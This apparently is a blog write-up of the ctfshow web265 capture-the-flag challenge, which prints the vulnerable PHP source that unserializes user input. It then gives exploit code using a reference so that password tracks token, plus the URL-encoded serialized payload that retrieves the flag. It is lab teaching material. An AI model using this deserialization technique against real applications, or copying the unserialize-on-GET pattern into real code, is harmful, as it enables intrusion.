当前位置:网站首页>Ctfshow-web265 (deserialization)
Ctfshow-web265 (deserialization)
2022-06-12 19:37:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}Must let token===password You can get flag
I make them equal to an unworthy result $this->token=1; $this->password =1;
To make two parameters point to the same address
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo urlencode(serialize($a));?ctfshow=O%3A12%3A"ctfshowAdmin"%3A2%3A{s%3A5%3A"token"%3Bs%3A1%3A"a"%3Bs%3A8%3A"password"%3BR%3A2%3B}边栏推荐
- Global and Chinese smart government industry market research and investment risk outlook report 2022-2028
- Cookie & session & kaptcha verification code
- Software usage of Tencent cloud TDP virt viewer win client
- asp. Net using JSON to interact with API data
- Shell 编程正则表达式及元字符
- Original publishing practice of pipeline in Jenkins docking with CMDB interface to obtain host list
- 5G R17标准冻结,主要讲了些啥?
- Leetcode topic [string]-344- reverse string
- Understand Jack Dorsey's web5 from the ppt on page 16
- Wechat e-book reading applet graduation design completion works (8) graduation design thesis template
猜你喜欢

Demand and business model analysis -6- five topics

基于微信电子书阅读小程序毕业设计毕设作品(5)任务书

New product launch

负数取余问题

Is it really hopeless to choose electronic engineering and be discouraged?

Storage system overview

基于微信电子书阅读小程序毕业设计毕设作品(3)后台功能

ISCC2022

Demand and business model innovation - demand 2- demand basis

3GPP RAN第一次F2F会议,都干了些啥?
随机推荐
What are meta-inf and WEB-INF respectively?
用户权限和组权限
RT thread simulator builds lvgl development and debugging environment
Promise to solve hell function calls can be used infinitely
Demand and business model innovation - demand 2- demand basis
Leetcode topic [string]-344- reverse string
模块八作业
What did 3GPP ran do in the first F2F meeting?
运算器的基本结构
Storage system overview
基於分布式數據庫本身的定時備份方法
Research Report on the overall scale, major manufacturers, major regions, products and application segments of lifeboats in the global market in 2022
Demand and business model innovation - demand 1 - Introduction to demand engineering
选电子工程被劝退,真的没前景了?
Super heavy! Apache Hudi multimode index optimizes queries up to 30 times
基于微信电子书阅读小程序毕业设计毕设作品(6)开题答辩PPT
Shell 数组和函数
Dacom G150双模耳机,为爱发声,呵护孩子听力健康成长
mysql的增删改查,mysql常用命令
Reading applet based on wechat e-book graduation design (2) applet function